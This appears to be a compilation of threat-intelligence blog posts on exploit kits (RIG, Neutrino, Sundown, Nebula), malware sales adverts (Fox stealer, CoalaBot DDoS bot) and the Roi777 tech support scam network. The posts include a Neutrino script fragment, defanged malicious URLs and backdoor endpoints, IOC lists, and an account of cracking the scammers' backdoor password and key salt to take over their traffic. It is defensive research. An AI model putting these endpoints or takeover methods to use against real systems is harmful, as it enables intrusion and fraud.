Small data drop about another Pony fork : Fox stealer. First sample of this malware I saw was at beginning of September 2016 thanks toΒ Malc0de. After figuring out the panel name and to which advert it was tied we were referring to it as PonyForx.
Advert : 2016-08-11 - Sold underground by a user going with nickname "Cronbot"
We are releasing the product for general sale. Final stage of testing for this product is already underway.
About the product:
1. Is able to do everything that pony does. + new software has been added.
2. Relevant for 2016.
3. Written in C++ without additional libraries.
4. Admin from pony.
Conditions:
1. For rent only.
2. Distributed as an EXE and DLL.
3. We will not be selling the source.
Rent is $250 a month.
Originals are a 2000$ one time fee.Β
--------
It's being loaded (with Locky Affid 13) by the Godzilla fromΒ ScriptJSΒ (aka AfraidGate) group .
MISP taxonomy tags reflecting ScriptJS activity in the last months
(note :Β it's not the first time this group is pushing a stealer, they were dropping Pony with their Necurs between August and December 2015 [1]Β )
2016-09-26 - ScriptJS infection chain into Neutrino into Godzilla loader into PonyForx and Locky Affid 13 Here we can see the browsing history of the VM being sent to PonyForx (Fox stealer) C2
Around the middle of August many infection chains transitioned to RIG with more geo-focused bankers and less CryptXXX (CryptMic) Ransomware.
Picture 1: Select Drive-by landscape - Middle of August 2016 vs Middle of July 2016
RIG += internal TDS :
Trying to understand that move, I suspected and confirmed the presence of an internal TDS (Traffic Distribution System) inside RIG Exploit Kit [Edit 2016-10-08 : It seems this functionality is limited to Empire Pack version of RIG] I believe this feature appeared in the EK market with Blackhole (if you are aware of a TDS integrated earlier directly in an EK please tell me) Picture2: Blackhole - 2012 - Internal TDS illustration but disappeared from the market with the end of Nuclear Pack Picture3: Nuclear Pack - 2016-03-09 - Internal TDS illustration and Angler EK Picture 4 : Angler EK - Internal TDS illustration This is a key feature for load seller. It is making their day to day work with traffic provider far easier . It allows Exploit Kit operator to attach multiple payloads to a unique thread. The drop will be conditioned by Geo (and/or OS settings) of the victim.
Obviously you can achieve the same result with any other exploit kitβ¦but things are a little more difficult. You have to create one Exploit Kit thread per payload, use an external TDS (like Keitaro/Sutra/BlackHat TDS/SimpleTDS/BossTDS, etcβ¦) and from that TDS, point the traffic to the correct Exploit Kit thread (or, if you buy traffic, tell your traffic provider where to send traffic for each targeted country). Picture 5: A Sutra TDS in action in 2012 - cf The path to infection
Around 2016-09-12 a variation of RIG (which i flag as RIG-v in my systems) appeared. A slightly different landing obfuscation, RC4 encoding, Neutrino-ish behavioral and added CVE-2016-0189 Picture 6: RIG-v Neutrino-ish behavioral captured by Brad Spenglerβs modified cuckoo Picture 7: CVE-2016-0189 from RIG-v after 3 step de-obfuscation pass.
Neutrino waves goodbye ?
On 2016-09-09 on underground it has been reported a message on Jabber from the Neutrino seller account :
βwe are closed. no new rents, no extends moreβ
This explains a lot. Here are some of my last Neutrino pass for past month.
Picture 8: Some Neutrino passes for past month and associated taxonomy tags in Misp
As you can see several actors were still using itβ¦Now here is what i get for the past days :
Picture 9: Past days in DriveBy land Not shown here, Magnitude is still around, mostly striking in Asia Day after day, each of them transitioned to RIG or βRIG-vβ. Around the 22nd of September 2016 the Neutrino advert and banner disappeared from underground.
Picture 10: Last banner for Neutrino as of 2016-09-16 Are we witnessing the end of Neutrino Exploit Kit ? To some degree. In fact it looks more like Neutrino is going in full βPrivateβ mode βa laβ Magnitude.
Side reminder : Neutrino disappeared from march 2014 till november 2014
A Neutrino Variant
Several weeks ago, Trendmicro (Thanks!!) made me aware of a malvertising chain they spotted in Korea and Taiwan involving Neutrino. Picture 11: Neutrino-v pass on the 2016-09-21 Upon replay I noticed that this Neutrino was somewhat different. Smoother CVE-2016-4117, more randomization in the landing, slightly modified flash bundle of exploits Picture 12: Neutrino-v flash ran into Maciej βs Neutrino decoder Note the pnw26 with no associated binary data, the rubbish and additionalInfo A Sample : 607f6c3795f6e0dedaa93a2df73e7e1192dcc7d73992cff337b895da3cba5523
Picture 13: Neutrino-v behavioral is a little different : drops name are not generated via the GetTempName api
functionk2(k) { var y = a(e + "." + e + "Request.5.1"); y.setProxy(n); y.open("GET", k(1), n); y.Option(n) = k(2); y.send(); if (200 == y.status) return Rf(y.responseText, k(n)) };
Neutrino-v ensuring Wscript will use the default proxy (most often when a proxy is configured itβs only for WinINet , WinHTTP proxy is not set and Wscript will try to connect directly and fail) I believe this Neutrino variant is in action in only one infection chain (If you think this is inaccurate, iβd love to hear about it) Picture 14: Neutrino-v seems to be used by only one actor to spread Cerber 0079x
Coincidentally a new Exploit Kit is being talked about underground : Empire Pack. Private, not advertised. Picture 15: King of Loads - Empire Pack Panel Some might feel this interface quite familiarβ¦A look a the favicon will give you a hint Picture 16: RIG EK favicon on Empire Pack panel Picture 17: RIG Panel It seems Empire Pack project was thought upon Angler EK disappearance and launched around the 14th of August 2016.
[Speculation] I think this launch could be related to the first wave of switch to RIG that occurred around that time. I think, Empire Pack is a RIG instance managed by a Reseller/Load Seller with strong underground connections. [/Speculation]
RIG-v is a βvipβ version of RIG. Now how exactly those three elements (RIG, RIG-v, Empire Pack) are overlapping, I donβt know. I am aware of 3 variants of the API to RIG
api.php : historical RIG
api3.php : RIG with internal TDS [ 2016-10-08 : Β This is Empire Pack. Appears to be using also remote_api after this post went live. I flag it as RIG-E ]
remote_api.php : RIG-v
But Empire Pack might be api3, remote_api, or a bit of both of them.
By the way RIG has also (as Nuclear and Angler endup doing) added IP Whitelisting on API calls to avoid easy EK tracking from there. Β Β :-" (Only whitelisted IP - from declared redirector or external TDS - can query the API to get the current landing)
Conclusion
Letβs just conclude this post with statistics pages of two Neutrino threads Picture 18: Neutrino stats - Aus focused thread - 2016-07-15 Picture 19: Neutrino stats on 1 Million traffic - 2016-06-09
βWe will be known forever by the tracks we leaveβ Santee Sioux Tribe
2016-10-03 : Removed limitation to KOR and TWN for Neutrino-v use by NeutrAds as Trendmicro informed me they are now seeing them in other Geos. Added explanation about the IP whitelisting on RIG API (it was not clear) 2016-10-08 : Updated with gained information on Empire Pack 2016-11-01 : RIG standard is now also using the pattern introduces past week by RIG-v. It's now in version 4. https://twitter.com/kafeine/status/790482708870864896
RIG panel
The only instance of RIG using old pattern is Empire Pack (which previously could be guessed by domains pattern) 2016-11-18 : Empire (RIG-E) is now using RC4 encoding as well. (still on old pattern and landing)
RIG-E Behavioral
2016-12-03 RIG-v has increased filtering on IP ranges and added a pre-landing to filter out non IE traffic.
providing again (cf CVE-2016-0189) ready-to-use code to Exploit Kit maintainer.
After not far from 6 months without new exploit integrated in an EK ecosystem which hasΒ lost its innovation locomotive (Angler) , the drive-by landscape is struggling to stay in shape. Low infection rate means more difficulties to properly convert bought traffic.
The exploits are spotted first in Sundown, but integration in RIG/Empire/Neutrino/Magnitude/Kaixin should be a matter of hours/days.
[edit : 2017-01-10] βI have been told that with Win10 1607, Microsoft Edge has some quite strong mitigation: no WinExec, no CreateProcess, no ShellExecute, meaning every child process creation is blocked. The PoC might need a little more "magic powder" to work there. [/edit]
Sundown: 2017-01-06
Sundown EK firing CVE-2016-7200/7201 to Edge 2017-01-06 No exploitation here though
Out of topic: expected payload in that infection chain was zloader. (other payload seen in past weeks dropped via Sundown : Zeus Panda, Neutrino Bot, Dreambot, Chthonic, Andromeda, Smokebot, Betabot, Remcos, IAP, RTM, Kronos, Bitcoin Miner)
Neutrino: 2017-01-14 -- Thanks to Trendmicro for the multiple inputs that allowed me to keep plugged to this infection chain. -- So as explained previouslyΒ Neutrino is now in full private mode and fueled via Malvertising bought to several ad agencies (e.g. ZeroPark, ClickAdu, PropellerAds, HillTopAds) by a Traffer actor which I tag as NeutrAds. Their infection chain is now accepting/redirecting Microsoft Edge Browser as well. Without big surprise a new exploit is included in the Flash bundle : nw27 > Β CVE-2016-7200/7201.
NeutrAds redirect is now Β accepting Edge traffic - 2017-01-14
http://67.198.186[.254/ca.php?m=525441744D5441744D6A63744E3055744D554D745130493D&h=437 Edits: 2016-11-10 - Adding information about mitigation on Edge 2016-11-14 - Adding Neutrino 2016-11-16 - Fixed the screenshot for Neutrino. Was stating CVE-2016-4117 was there. It's not 2016-11-16 - Adding Kaixin
WhileΒ Empire (RIG-E) disappeared at the end of December after 4 months of activity
Illustration of Β the last month of witnessed Activity for Empire
on 2017-02-17 an advert for a new exploit kit dubbed Nebula appeared underground.
------ Selling EK Nebula ------ Nebula Exploit kit Features: -Automatic domain scanning and generating (99% FUD) -API rotator domains -Exploit rate tested in different traffic go up 8/19% -knock rate tested whit popular botnet go 30/70% -Clean and modern user interface -Custom domains & server ( add & point your own domains coming soon...) -Unlimited flows & files -Scan file & domains -Multiple payload file types supported (exe , dll , js, vbs) -Multi. geo flow (split loads by country & file) -Remote file support ( check every 1 minute if file hash change ; if changed replace ) for automatic crypting -Public stats by file & flow -latest CVE-2016 CVE-2017 -custom features just ask support Subscriptions: 24h - 100$ 7d - 600$ 31d - 2000$ Jabber - [email protected] Offering free tests to trusted usersΒ ------ In same thread some screenshots were shared by a customer.
Earlier that same day, colleagues at Trendmicro told me they were seeing activity from a group we are following under the name "GamiNook" (illustration coming later) in Japan redirecting traffic to a variation of Sundown.
"GamiNook" redirecting to a Sundown Variation in Japan - 2017-02-17 Payload : Pitou (6f9d71eebe319468927f74b93c820ce4 )Β
This Sundown variation was not so much different from the mainstream one.
No "index.php?" in the landing URI, different domain pattern but same landing, exploits, etc... Some payload sent in clear (01.php) other RC4 encoded (00.php) as for Sundown.
Digging more it appeared it was featuring an Internal TDS (as Empire).Β
The same exact call would give you a different payload in France or in United Kingdom/Japan.
"GamiNook" traffic with geo in France - 2017-02-17 Identicall payload call gives you Gootkit instead of Pitou Payload : Gootkit (48ae9a5d10085e5f6a1221cd1eedade6)
Note: to be sure that the payload difference is tied to Geo and not time based (rotation or operator changing it ) you need to make at least a third pass with first Geo and ensure dropped sample is identical as in first pass.
At that point you can only suspect this Sundown variant might be Nebula (even if clues are multiple, a funny one being that the traffic illustrated in the advert thread is quite inline with the one captured in France).
So I was naming that variation: Sundown-N. Intel shared by Frank Ruiz (FoxIT) on the 21st allowed me to know for sure this traffic was indeed Nebula.
The following days i saw other actor sending traffic to this EK.
Taxonomy tied to Nebula Activity in MISP - 2017-03-02
Taxonomy tied to GamiNook traffic activity, EK and resulting payload
2017-03-02 Nebula with its new pattern used here to drop Ramnit via Malvertising in NA - 2017-03-02
This landing pattern change triggered the publication of this post. Nebula might end up not being a "vapor" EK but let's wait and see. The only difference with Sundown till today was its internal TDS.
CoalaBot appears to be build on August Stealer code (Panel and Traffic are really alike)
I found it spread as a tasks in a Betabot and in an Andromeda spread via RIG fed by at least one HilltopAds malvertising.
2017-09-11: a witnessed infection chain to CoalaBot
A look inside :
CoalaBot: Login Screen (August Stealer alike)Β
CoalaBot: Statistics
CoalaBot: Bots
CoalaBot: Tasks
CoalaBot: Tasks
CoalaBot: New Taks (list)
CoalaBot: https get task details
CoalaBot: http post task details
CoalaBot: Settings
Here is the translated associated advert published on 2017-08-23 by a user going with nick : Discomrade. (Thanks to Andrew Komarov and others who provided help here). ------------------------------------------
Coala Http Ddos Bot
The software focuses on L7 attacks (HTTP). Lower levels have more primitive attacks.
Attack types:
β’ ICMP (PING) FLOOD
β’ UDP FLOOD
β’ TCP FLOOD
β’ HTTP ARME
β’ HTTP GET *
β’ HTTP POST *
β’ HTTP SLOWLORIS *
β’ HTTP PULSE WAVE *
* - Supports SMART mode, i.e. bypasses Cloudflare/Blazingfast and similar services (but doesnβt bypass CAPTCHA). All types except ICMP/UDP have support for using SSL.
Binary:
β’ .NET 2.0 x86 (100% working capacity WIN XP - WIN 7, on later versions ΠΠ‘ .NET 2.0 disabled by default)
β’ ~100kb after obfuscation
β’ Auto Backup (optional)
β’ Low CPU load for efficient use
β’ Encryption of incoming/outgoing traffic
β’ No installation on machines from former CIS countries(RU/UA/BL/KZ/...)
β’ Scan time non-FUD. Contact us if you need a recommendation for a good crypting service.
β’ Ability to link a build to more than one gate.
Panel:
β’ Detailed statistics on time online/architecture/etc.
β’ List of bots, detailed information
β’ Number count of requests per second (total/for each bot)
β’ Creation of groups for attacks
β’ Auto sorting of bots by groups
β’ Creation of tasks, the ability to choose by group/country
β’ Setting an optional time for bots success rate
Other:
β’ Providing macros for randomization of sent data
β’ Support of .onion gate
β’ Ability to install an additional layer (BOT => LAYER => MAIN GATE)
Requirements:
β’ PHP 5.6 or higher
β’ MySQL
β’ Πodule for MySQLi(mysqli_nd); php-mbstring, php-json, php-mcrypt extensions
Disclaimer: This post is hosted here as a courtesy to the author who prefers to remain anonymous. MDNC was not involved in any way with this study.
Introduction
EITest is one of the longest malicious delivery campaigns that has continued to evolve. In the spring of 2017, it started redirecting Internet Explorer users to tech support scams in addition to the existing redirections with the fake Chrome fonts.
We believe the tech support scam campaign we are describing in this post is one of the most widespread and well organized because it relies on several schemes in addition to EITest, such as traffic redirection using a distributed system infrastructure.
Actors behind this campaign are generating hundreds of domains per day.The only purpose of those domains names is to redirect users to tech support scams or malicious websites.
Highlights
We were able to redirect a considerable amount of traffic destined to Tech Support Scam websites to a controlled infrastructure for a period of 8 hours. After they fixed the flaw that allowed us to do that, we were able to bypass the new protection in place to take control again of the traffic for another 6 hours.
We discovered a network of bots controlled by a fraudulent Traffic Monetization company
Weβve collected a list of 1562+1294 compromised websites responsible for the redirections of users to scams
The actors are generating over 100 new domains each day to serve TSS via Freenom
The scam
The landing page sometimes changes, but always has the same goal: trying to take control of the browser so the user cannot close it, in hopes that they will panic and call the phone number for assistance.
Tech support scammer (TSS) are sometimes changing the landing page to better abuse the browser. Anyhow, this is what the current landing page looks like.
People that call those numbers will be told how to install a remote control software so the interlocutor can show Windows log events and services to the user, pretending that those are signs of an infected machine. The crooks will then offer a remote reparation service varying from $100 to $600.
Look at different redirection mechanisms
While analyzing the different ways for a user to be redirected to those scam support pages that try to hijack the browsers, we quickly documented multiple different redirection schemes using many different infrastructure. For this reason, we believe that many differents actors are responsible for sending traffic to the redirection network. Letβs begin by describing the most prolific methods of redirections.
EITest Redirection
EITest infected websites have the capability of injecting javascript in page upon loading. We can observe redirections to tech support scam (TSS) websites since 2017. The injection that occurs when the victimβs user-agent is IE, Edge or Firefox, is the following:
This script will, after verifying that it is running in a real browser, set a cookie named βpopundrβ and redirect the user at a decoy URL, hxxp://checkalldir.bid/index/?MGjJPm in this case. Decoy domains injected resolve to IP 204.155.28.5, in a range belonging to KING-SERVERS (AS 14576). Since 2018-02-26, injected domains were resolving to IP 54.36.180.110 at OVH instead (AS16276). It later changed back to 162.244.35.33, where TSS domains are now pointing.
This EITest campaign is generating ~1 new domain per day (usually with the TLD .bid). Those are easily recognizable by their patterns β/?{6 characters}β in the URL, but the pattern is changing about 4 times per day. The reason they are using a decoy URL and a specific pattern is so they can be routed through their Keitaro TDS (traffic distribution system). In fact, we can browse to the panel of this TDS by accessing it with the IP address at URN /admin:
Routing requests to their TDS before landing on the final destination allows them to have better control of the traffic and manage multiple campaigns. They are also doing more filtering on who will be redirected through this URL. We know that they are verifying at least the user-agent of the requester before allowing any redirection. Here is what will happen when the victims get redirected to one of those domains:
In this case, querying the decoy EITest URL with an user-agent set to βMSIEβ was enough for the TDS to send a 302 redirection to the landing page: hxxp://coloured-canvas.tk/?number=800-803-1741
Crypper Redirection
This campaign generates about 165 redirections / hour. Website luyengame.com was responsible for 904 redirections (68%).
For this redirection, we were able to get our hands on the malicious PHP file that is responsible for the generation of the script that redirects users:
The PHP code will start by hiding any errors from the output and get the user-agent and referer of the visitor. Prior to the creation of the javascript that will redirect the user, the code checks that the visitor is not a bot (crawler) and that the visitor is not on a mobile device. If those checks pass, it will fetch the current Tech Support Scam (TSS) domain hxxp://roi777.com/domain.php and append the path β/index/?2661511868997β to it.
Finally, the function βredirectddβ is called with the created URL and the script will output with the latest domain that roi777.com provided:
The script then sets a cookie β1561065164894_CRYPPERβ and redirects the user with window.location. Although simple, this script is efficient enough to redirect many visitors.
Biz Redirection
This campaign generates about 1888 redirections / hour. Website myilifestyle.com was responsible for 1199 redirections (8%) and www.fertilitychef.com for 1091 (7%) of the redirections.
This redirection is distinguishable with the added path to the TSS domain: β/index/?2171506271081β.
The script will fetch another script from hxxp://5.45.67.97/1/jquery.js.php and run it, leading to a redirection:
Plugin Redirection
This campaign generates about 184 redirections / hour. Website Archive-s54.info was responsible for 119 redirections (8%).
This campaign has malicious Javascript slightly obfuscated by using the βreverse stringβ function:
There are a few variants of this script containing different URLs. By applying the reverse string function again on the string containing the malicious URL, we were able to identified all of them:
Once visited, those PHP files will set a cookie and redirect the user to the TSS landing page with the parameter β/index/?2101505838590β without further verification:
Clearly, those four (4) website redirecting users have been hacked. One of them has the directory listing enabled, allowing us to see that the malicious file has been put there on 2017-11-17. It is probably at this date that this campaign started. Also, as another malware researcher did, we can search for some of the unique constants in the javascript file on Google and find more than 8000 indexed websites that are apparently infected with this script:
Sometimes, the script gets injected multiple times within a page or in a way that it doesnβt work. For example, this website got defaced with the badly injected javascript:
We went one step further when we realized that those malicious PHP files redirecting the users were logging every queries received in a .txt file accessible on the same server. For each redirected user, we had the timestamp of the query, their IP address, referrer and their user-agent. We then downloaded the logs for each of those 4 websites to index them in a database. To consider a request unique, we looked at the hash of: The timestamp of the request + the victim IP + the referer domain name.
This allowed us to determine that more than 7400 unique redirections happened since february 20.
Country of redirected users for the βPluginβ redirection
The campaign is still going on so the numbers are constantly increasing. We also looked at unique domains in the referer field. We spotted ~1294 different domains redirected those users. The ones that redirected the most users are:
Some website are redirecting users to TSS domains with the following path: β/index/?1641501770611β. It is the result of running this malicious javascript:
After deobfuscation, the code becomes readable and we can see the redirection:
The client will query the URL at hxxp://ads.locationforexpert.com/b.php (the filename often changes). The remote script then returns the URL where the user will be redirected.
ContainerRU Redirection
This campaign generates about 335 redirections / hour. Website www.cursosortografia.com was responsible for 158 redirections (6%) and cursosaprende.com for 142 redirections (5%).
This Javascript found was obfuscated by hiding the content of the code in a fake image encoded in base64:
After deobfuscation, we can analyse the code:
The script will verify If the navigator of the user is either Chrome or Firefox. In this scenario, the user is redirected to an URL serving a payload. If the browser is Internet Explorer, the user will be redirected to the following URL: hxxp://div-class-container.ru/index5.php, which will in turn redirect the user with an HTTP 301 to the TSS page with the parameter β/index/?801492446045β:
In all cases, if the domain name of the actual infected website contains βeduβ, βgovβ or βmilβ, the script will not redirect the user.
The IP address where this redirecting script is hosted (193.201.227.193) has been linked to unwanted redirects in late 2017.
Doorways redirections
What is a Doorway?
A doorway script is usually an obfuscated PHP script that can trick search engines crawler to perform black hat SEO by modifying the content of a website to specific combination of keywords. However, the one used in this campaign is pretty advanced and allows the owner to basically do whatever he wants with the infected websites, such as injecting content. We discovered that he will often βupgradeβ those doorway scripts to PHP backdoors.
We also saw other prolific campaigns for which we donβt have the redirections scripts. For instance, the one generating the largest amount of traffic (URLs are recognizable with β/index/?1051496225880β) has been responsible for 43503 redirections over the 8 hours period (5437 redirections per hour) and represents 40% of the overwall traffic seen:
The websites who redirected users for this largest campaign is mostly archive-s54.info with 18331 redirects, followed by:
sharesix.com (947 redirections)
www.gowatchfreemovies.to (919 redirections)
myilifestyle.com (871 redirections)
www.primewire.ag (862 redirections)
Sharerepo.com (856 redirections)
www.fertilitychef.com (820 redirections)
Filenuke.com (800 redirections)
We believe that those website have the doorways backdoor installed. Most of them are configured to get to latest TSS URL to :
hxxp://fped8.org/doorways/settings_v2.php?clientid=<ID>&ineednewurltoredirect=yes
This website will return the appropriate domain to redirect the user:
Other redirections
By monitoring the backend servers, we discovered that the same infrastructure also serves for other malicious activities.
Chrome plugin
Weβve also observed some redirections chains from malvertising leading to fake chrome extensions. For example, one customer of PopAds, whose account is now banned, was redirecting clients to a TDS system at this URL: hxxp://162.244.35.210/newantikas/?cP65FB. After multiple redirections, the users landed on the website livelifeo.top, which resolved to IPs belonging to the back-end server we were monitoring:
After more digging into domains associated to the same scam, we also found another version of the landing page that tried to trick users to those malicious Chrome extensions:
The back-end server, owned by Roi777 was also responsible for the traffic generated by those malicious Chrome extensions.
We also found a control panel that allowed them to categorize the status of those applications. Fortunately for us, the developer had no idea how to properly protect this panel. The password verification function was implemented in client-side Javascript.
We later found those Chrome extension in the Chrome Store infected and heavily obfuscated. The purpose of them was to randomly redirect the user while browsing. The page where users get redirected can vary from nuisance advertisement to fake software installation page and TSS.
Anyhow, those addons are no longer being pushed and the page is no longer being updated. The actors probably moved to something else.
Pinterest
We also found some links to TSS on Pinterest:
jeanclementcom.us has been registered with the email address [email protected], like many other domains name hosted on Roi777 infrastructure.
Android applications
Malicious APKs are also found to be served when browsing to a domain hosted on his infrastructure : fped8.org/mob/antivirus/1/en/index.php
The payload is then downloaded from: fped8.org/mob/antivirus/1/en/downloader.php. Once installed, the application will contact another domain hosted on the same server (hxxp://alija.xyz/panel/).
This APK has the ability to redirect users to fraudulent ads and potentially TSS.
Analysis of the backend traffic
By monitoring differents TDS and back-end server serving those TSS campaigns, we saw a lot of different traffic type linked to differents malicious activities.Not only is this actor involved in the selling of fake software and redirecting to scams, but also in severals webshells and doorways backdoors, allowing him to control a vast network of compromised websites. This section take a look at those differents access methods and how they are leveraged.
Uses of scams domains
We observed TSS domains usually having the TLD .TK changing more than 100 times per day for this campaign. In the last 30 days only, we were able to log 2912 of those domains. Here is the most common IPs where they are pointing:
999 of them (35%) are resolving to 204.155.28.5 (King Servers)
878 of them (30%) are resolving to 185.159.83.47 (King Servers)
162 of them (5%) are resolving to 54.36.151.52 (OVH)
PHP Backdoor
We discovered that many βbotsβ were reporting to the back-end server belonging to Roi777. In fact we account for a total of 1562 infected websites reporting to his server. There are two types of backdoors that report to the infrastructure we monitored.
The first one being Doorways.We counted 386 differents website constantly asking the server for content to inject.
For the other type of backdoor, we observed 1176 differents domains infected reporting to the server, also asking for content to inject. Here is some stats about the CMS they used:
WordPress : 211
OpenCart: 41
Joomla: 19
Magento: 1
Unknown: 904
This backdoor is described in the next section.
Doorways to PHP backdoor
The Doorways have the capability to fetch for instruction and code to execute. We noticed that many of them were querying fped8.org/doorways/settings_v2.php. This URL, when queried with the good parameters, returns code to execute. This allowed us to saw how they can deploy PHP shell through their Doorways:
The content returned contains the backdoor encoded in base64, rot13 and base64 again. After de-obfuscation, we got this code:
The first part of this malicious PHP script will query hxxp://kost8med.org/get.php with the user-agent of the current visitor requesting the page and itβs IP address. If a content is returned, it will be outputted in the content of the page. That said, the owner of the backdoor can inject any code they want into the page. Again, kost8med.org is resolving to 162.244.35.30 which is an IP address belonging to Roi777.
The second part of the script contains a backdoor function executing every request received in the βcβ field of the POST parameter of the request if the parameter βpβ is also set with the correct password.
The password validation is done in a strange way. The received parameter βpβ will be hashed twice before being compared to the hardcoded MD5 hash. However both the idea and the implementation is deficient here, because hashing twice is not more secure in this situation and the comparison is done with β==β instead of β===β (strict comparison), plus the fact that MD5 is no longer considered secure.
It took less than 30 mins to crack the actual password allowing the control of those backdoors. We must say that the speciality of those guys is clearly not security, but rather the opposite.
On a Wordpress installation, this backdoor is usually found in those files:
wp-config.php
index.php
wp-blog-header.php
Footer.php
We also found what looks like the administrator panel on the same server that they are reporting to:
Other backdoors
Many of the websites that were infected by the original backdoor we were investigating on were also infected with other PHP malicious scripts. However, we donβt think those other scripts were linked to this campaign.
Infection vector (plugin that is hacked, infected path)
It is hard to know for sure how those CMS has been infected. One thing we did notice on lot of them is that the malicious code was in the file footer.php of a WordPress plugins named Genesis. It turns out that this plugin was known to be vulnerable against Arbitrary File Upload in late 2016. However a lot of them have been exploited by other means, such as with other vulnerable plugins and passwords stealings / brute forcing.
Redirecting the traffic flow (or dethroning the king)
By looking at requests sent to the back-end servers, we noticed curious GET requests among a the traffic. The GET requests in question were formatted like the following :
hxxps://wowbelieves.us/tech_supportv2.php?update_domain=<Tech support Scam domain>
The update_domain parameter immediately drew our attention, so we tried to do a query to the same PHP file with a domain under our control as the value of this parameter. Immediately, our server started receiving traffic.
So apparently, calls to this PHP file change to current domain published for TSS that the backdoors are relying on to redirect the users. In fact, we were able to change the domain returned by roi777.com/domain.php, where multiple backdoors are fetching the current TSS domain. As said before, those domains are changing more than 100 times a day, and we observed that they have a script calling /tech_supportv2.php frequently so users can be redirected to the latest domain. That said, when we changed the TSS domain to point to a domain under our control, it took only few minutes before their script updated it with the real TSS, overwriting ours at the same time. To keep the traffic going to our server, we then had to query multiple time per minute this webpage, and it sure worked.
After the initial 8 hours in which we had control of most of the traffic, they updated tech_supportv2.php and their script calling it so that the parameters expect were now the domain name to update, plus a key:
hxxps://wowbelieves.us/tech_supportv2.php?update_domain=<Tech support Scam domain>&key=<Hash MD5>
To fix the aberrant lack of security in their mechanism to update the current TSS domains, they added this key to the parameters so our previous requests werenβt working anymore.
What is this βkeyβ parameter ?
The key parameter was 32 characters long, so we immediately thought of an MD5 hash. We tried to hash the current domain to see if it was matching, but no luck. We also noticed that the βkeyβ value (or hash) was different for each TSS domain they were updating and we were able replay them without problem. Given this information, it looked like it they were probably using some sort of salting with the domain name before hashing it.
Knowing a part of the hashed value (the domain name), and giving their expertise in cryptography, we started a mask attack locally with hashcat. It took us less than 10 seconds to reveal the salt used. The MD5 hash was the result of the domain name concatenated to the string: βroplβ. This allowed us to take the control back (on and off) of the traffic for another 7 hours. However, the stats used above for webshells and redirections are only based on the first 8 hours of collection.
Note that we didnβt take advantage of the redirected traffic, we instead logged every request made and temporarily neutralized the campaigns by avoiding any redirections to malicious websites.
The first time we redirected the traffic, we collected more than 108700 requests (8 hours period).
The second attempt to redirect the traffic allowed us to log more than 55000 requests (6 hours).
By combining both data sets, we did some statistics:
Every request made by IP 89.108.105.13 (Russia) was excluded from the graph because it generated by itself 48256 requests to /index/api.php and we believe that this traffic is generated by one of their server that control doorways on their infrastructure.
Here are the top 15 most seen websites in the referer field (probably infected websites):
Here are the most seen user-agents in those requests:
Itβs interesting to note that a lot of requests were coming from Kodi (Open Source Home Theater Software), followed by Internet Explorer browser.
Link to Roi777
Considering the variety of coding styles, providers, IPs used and infected websites, we believe that many actors are involved in the traffic redirection. However, it is clear that the one known as roi777 has a central role in this whole scheme. As advertised on his website, heβs buying any type of traffic after all.
How does all of that links to Roi777 ?
Redirections chains explained above will not always redirect users to TSS. In fact, they are often filtering clients base on GeoIP and user-agent. When the traffic is unwanted for TSS, the redirection chain will often lead to : hxxp://balans.shahterworld.org.
The parameters passed to those requests is another indication that this campaign is lead by roi777: hxxp://balans.shahterworld.org/?utm_medium=4c23b9fecf7dfd895dfe0da99e857f3bee8e9d42&utm_campaign=roi777_cloack
Also, almost all of the redirections scripts are either pointing directly to roi777.com/domain.php to fetch the latest domain or they are reporting to this same backend server, waiting for instruction.
We found an interesting discussion that happened on 06-01-2018 on this Russian forum[^1] involving the owner of the company Roi777 (using the nickname bagussusu) and another actor (azuluk) providing him backdoors, doorways and other elements mean to increase the number of redirected users. You can read the translated conversation here. In summary, we can learn that :
They were involved in the traffic generated by some Chrome Extension
They are using Quiwi / WebMoney financial services to transfer money.
Their main offer is currently Tech Support Scam.
Bagussusu is accepting a minimum trade of 1000 webshells and can convert them to Doorways
Azuluk had 30GB of mail accounts+passwords ready to sell. 5 millions of those were corporate accounts
Bagussusu is also using SPAM to increase the traffic.
Bagussusu have some employees working for him (developers).
The return on investment is apparently better in France (people get scammed easier).
This non-exhaustive list is some of the most common pseudonyms he uses online. He operates a company that does βTraffic Monetizationβ. We now know how this traffic is brought back to his network (by illegals means) and what it is for (fraud).
Roi777 Website
His official website advertises some Success stories !
Success stories include traffic generated by Doorways
And thereβs also a Keitaro TDS installed directly on /tds/:
IOCs:
Most of the domains for domains used for scams are being resolved by ns1.rakamakao.org and ns2.rakamakao.org (195.245.113.186 & 195.245.113.187). The PowerAdmin administration tool they are using is accessible on the same servers:
Some of the domains:
alija.xyz
fped8.org
wowbelieves.us
shahterworld.org
roi777.com
kost8med.org
picturesun.top
websun.top
apelsinnik.site
chooseok.top
anyads.top
49frankov.top
africangirlskillingit.top
africanprint.top
africanpygmyhedgehog.top
africanamerican.top
arbuz01.org
ava4.org
jessica1.org
crispyom.org
kir2great.us
selenapix.us
wowbirth.us
Also, AS14576 Bullet proof hoster: King Servers doesnβt seems to host any legitimate services except of cyber-crime on their infrastructure.
IPs:
204.155.28.5
54.36.180.110
54.36.151.52
89.108.105.13
185.159.83.48
185.159.83.47
190.2.132.198
162.244.34.20
162.244.35.21
162.244.35.30
162.244.35.33
162.244.35.35
162.244.35.36
162.244.35.54
162.244.35.55
162.244.35.234
195.245.113.187
195.245.113.186
Conclusion
By distributing fake applications, using underground malware distribution campaigns, and leveraging malvertisements, the actors behind the company Roi777 are trying to get as much traffic as they can, by any means possible. They are well active and always willing to get more traffic redirected to their scams so they can increase their income.
The EITest campaign, in part responsible for the TSS redirections, is still active even if it is one of the oldest campaign running and the backend servers IP have previous been revealed.
Spotted on the 2018-03-09 (but probably there since several days)
Figure 1: Greenflash Sundown successfully deploying Hermes 2.1 Ransomware after exploiting Flash 26.0.0.131 in IE11 on Windows 7 - 2018-03-09
GreenFlash is a private heavily modified version of Sundown EK spotted in october 2016 by Trendmicro. Itβs beeing exclusively used by the βWordsJSβ (aka βShadowGateβ) group.
This group is getting traffic from crompromised OpenRevive/OpenX advertising server since at least may 2015.
Figure 2: Some tagged activity from WordsJS displayed in MISP.
Some references about the activities of this group:
If you saw this kind of traffic in your perimeter/telemetry, iβd be happy to get more referer
Edits:
2018-03-10 - 15:40 GMT - Removed mention of steganography. @smogoreli: βsimple offset in the dat fileβ
Acknowledgement:
Thanks to Genwei Jiang (FireEye) for the CVE identification.
Thanks to Joseph Chen for inputs allowing the capture of a fresh pass of GreenFlash Sundown.
Thanks to @GelosSnake & @baberpervez2 for the ping on suspicious activity that could be associated to βWordsJSβ (aka βShadowGateβ) and triggered those checks.
After a week without buying traffic, Magnitude is active again, now with CVE-2018-8174:
